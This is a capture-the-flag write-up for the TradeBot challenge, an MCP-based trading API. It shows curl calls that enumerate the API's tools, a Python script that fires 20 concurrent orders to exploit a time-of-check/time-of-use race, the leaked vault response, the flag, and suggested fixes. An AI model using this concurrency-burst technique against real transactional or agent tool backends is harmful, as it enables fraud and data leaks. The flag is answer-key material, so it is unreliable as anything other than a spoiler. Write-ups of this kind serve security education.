Back to KPMG CTF 2026 Campus Edition
TradeBot (API) - Writeup

TradeBot (API) - Writeup

Oct 12, 2026 4 min readWriteup 6 of 22#tutorial
On this page
  1. 1.Challenge Overview
  2. 2.Step 1: Find the API
  3. 3.Step 2: Open an MCP Session and Enumerate Tools
  4. 4.Step 3: Baseline the Engine
  5. 5.Step 4: Exploit the Race Condition
  6. 6.Summary
  7. 7.Key Takeaways

Challenge Overview

EventKPMG CTF 2026 Campus Edition
ChallengeTradeBot
CategoryWeb / API (MCP)
Points20
Targetkicyber-...-tradebot-0-0.chals.io

"TradeBot is your automated stock trading assistant... There is a special instrument that isn't sold on the public order book. Only the settlement engine, the part that processes your trades, can read it. Hint: The engine decides whether it can settle your order before it finishes routing it, and it never checks again."

TradeBot challenge card

The hint is practically a spec for the bug: "decides before it finishes routing... never checks again" is a textbook TOCTOU (time-of-check / time-of-use) race condition. The settlement engine validates that a slot is free, then does slow async work (routing + filling), but doesn't re-validate at the moment it actually touches the reserve. Overlap enough orders and you break the exclusivity guarantee, which is what spills the hidden instrument.


Step 1: Find the API

The web root just returns Not Found, no UI to click.

Not Found at root

Probing conventional paths, /health answers and points the way:

export T='https://kicyber-...-tradebot-0-0.chals.io'
curl -sk "$T/health"
# {"status":"healthy","service":"tradebot","version":"2.0.0","mcp_endpoint":"/mcp"}

The backend speaks MCP (Model Context Protocol) over HTTP at /mcp, served by FastMCP/uvicorn. So this is an API challenge driven through MCP's JSON-RPC, not a browser one.


Step 2: Open an MCP Session and Enumerate Tools

MCP needs a session handshake. initialize returns an mcp-session-id header we reuse on every call:

curl -sk -i -X POST "$T/mcp" \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"kali","version":"1.0"}}}'
# grab mcp-session-id from the response headers
export SID='PASTE_SESSION_ID'

# finish the handshake
curl -sk -X POST "$T/mcp" -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' -H "Mcp-Session-Id: $SID" \
  -d '{"jsonrpc":"2.0","method":"notifications/initialized"}'

# list the tools
curl -sk -X POST "$T/mcp" -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' -H "Mcp-Session-Id: $SID" \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}'

tools/list output

The tools: get_stock_price, get_stock_info, list_available_stocks, get_portfolio, get_risk_report, get_order_status, place_order, health_check. The money detail is in place_order's own description:

"The order is routed to the exchange and settles a moment later. Admission is governed by the settlement risk engine, which permits a limited number of orders per account to be settling at any one time. Orders that arrive while the engine is at capacity are rejected."

That's the exact surface the hint described.

A reusable helper for tool calls:

mcp_call() {
  curl -sk "$T/mcp" -H 'Content-Type: application/json' \
    -H 'Accept: application/json, text/event-stream' -H "Mcp-Session-Id: $SID" \
    -d "{\"jsonrpc\":\"2.0\",\"id\":10,\"method\":\"tools/call\",\"params\":{\"name\":\"$1\",\"arguments\":$2}}"
  echo
}

Step 3: Baseline the Engine

mcp_call get_risk_report '{}'
# max_concurrent_settlements: 19, settlements_inflight: 0,
# routing_latency_seconds: 1.0, fill_latency_seconds: 0.8, integrity_violations: 0
mcp_call list_available_stocks '{}'   # 10 public tickers (AAPL, MSFT, ...)
mcp_call get_portfolio '{}'           # balance $25,000

Key numbers: 19 concurrent settlement slots, 1.0 s routing + 0.8 s fill latency per order, and an integrity_violations counter that's worth watching. A single AAPL order fills normally as ORD-000001 and the engine returns to idle, confirming the ~1.8 s settlement window.

Importantly, guessing the hidden ticker is a dead end: both lookup and place_order reject an unknown symbol (SECRET not found) with the same validation, so the hidden instrument isn't reachable by naming it. The vulnerability has to be the concurrency flaw, not a secret string.


Step 4: Exploit the Race Condition

The plan: fire many orders simultaneously so several are inside the ~1.8 s settlement window at once. The admission check passed for each before routing completed, and since the engine never re-checks, more than one settlement ends up holding a slot against the reserve, which is the exclusivity violation that dumps the vault.

burst.py (20 concurrent place_order calls via a thread pool):

import concurrent.futures, json, os, requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
T, SID = os.environ["T"], os.environ["SID"]

def place(i):
    payload = {"jsonrpc":"2.0","id":i,"method":"tools/call",
               "params":{"name":"place_order",
                         "arguments":{"symbol":"AAPL","quantity":1,"order_type":"buy"}}}
    r = requests.post(f"{T}/mcp",
        headers={"Content-Type":"application/json",
                 "Accept":"application/json, text/event-stream",
                 "Mcp-Session-Id":SID},
        json=payload, timeout=10, verify=False)
    return {"request": i, "http_status": r.status_code, "response": r.text}

with concurrent.futures.ThreadPoolExecutor(max_workers=20) as pool:
    for result in pool.map(place, range(1, 21)):
        print(json.dumps(result))
python3 -m venv .venv && source .venv/bin/activate && pip install requests
python3 burst.py

One of the 20 responses comes back carrying the integrity incident and the leaked vault record:

Burst output with the flag

{
  "status": "success",
  "risk_engine": { "integrity": "COMPROMISED", "incident": "SETTLEMENT_OVERSUBSCRIPTION" },
  "vault_reconciliation": {
    "vault": "TRADEBOT-RESERVE",
    "instrument": "TRADEBOT-RESERVE-NOTE",
    "integrity": "COMPROMISED",
    "reason": "Settlement exclusivity violated: the reserve vault was read while more than one settlement held a slot. Reconciling by returning the sealed vault record.",
    "vault_seal": "KPMG_CTF{XfZGyYaAsDodjOF3pLHA3xlVeM9EeJXMaWORkbWroVCL}"
  }
}

Checking the engine afterwards confirms it recorded the incident, integrity_violations ticked from 0 to 1.

KPMG_CTF{XfZGyYaAsDodjOF3pLHA3xlVeM9EeJXMaWORkbWroVCL}

Summary

StepActionResult
1/healthAPI is MCP at /mcp
2initialize + tools/list8 tools; settlement-engine hint in place_order
3get_risk_report / baseline19 slots, ~1.8 s window, violation counter
420 concurrent place_orderSETTLEMENT_OVERSUBSCRIPTION → vault leak

Key Takeaways

  • The hint named the bug. "Checks before routing finishes, never checks again" is TOCTOU. A validity check that isn't re-verified at the moment of use is a race condition waiting for concurrency.
  • Don't fixate on the secret's name. The "hidden instrument" couldn't be reached by guessing a ticker, lookup and order placement both rejected it. The intended path was triggering the engine's invariant failure, which surfaced the instrument via reconciliation.
  • Latency windows are exploitable windows. A ~1.8 s settlement window is enormous; 20 overlapping requests trivially put multiple settlements in flight at once. Any security decision made before slow async work must be re-validated after it.
  • MCP is just another HTTP API. Session handshake, tools/list, tools/call, it enumerates and drives like any JSON-RPC service with curl. Treat agent/LLM tool backends as ordinary attack surface.
  • Fixes: make settlement admission atomic (lock/semaphore/transactional reservation), reserve capacity before routing, enforce exclusivity at the point of vault access, and never let a reconciliation/error path return sealed records to ordinary callers.

Flag: KPMG_CTF{XfZGyYaAsDodjOF3pLHA3xlVeM9EeJXMaWORkbWroVCL}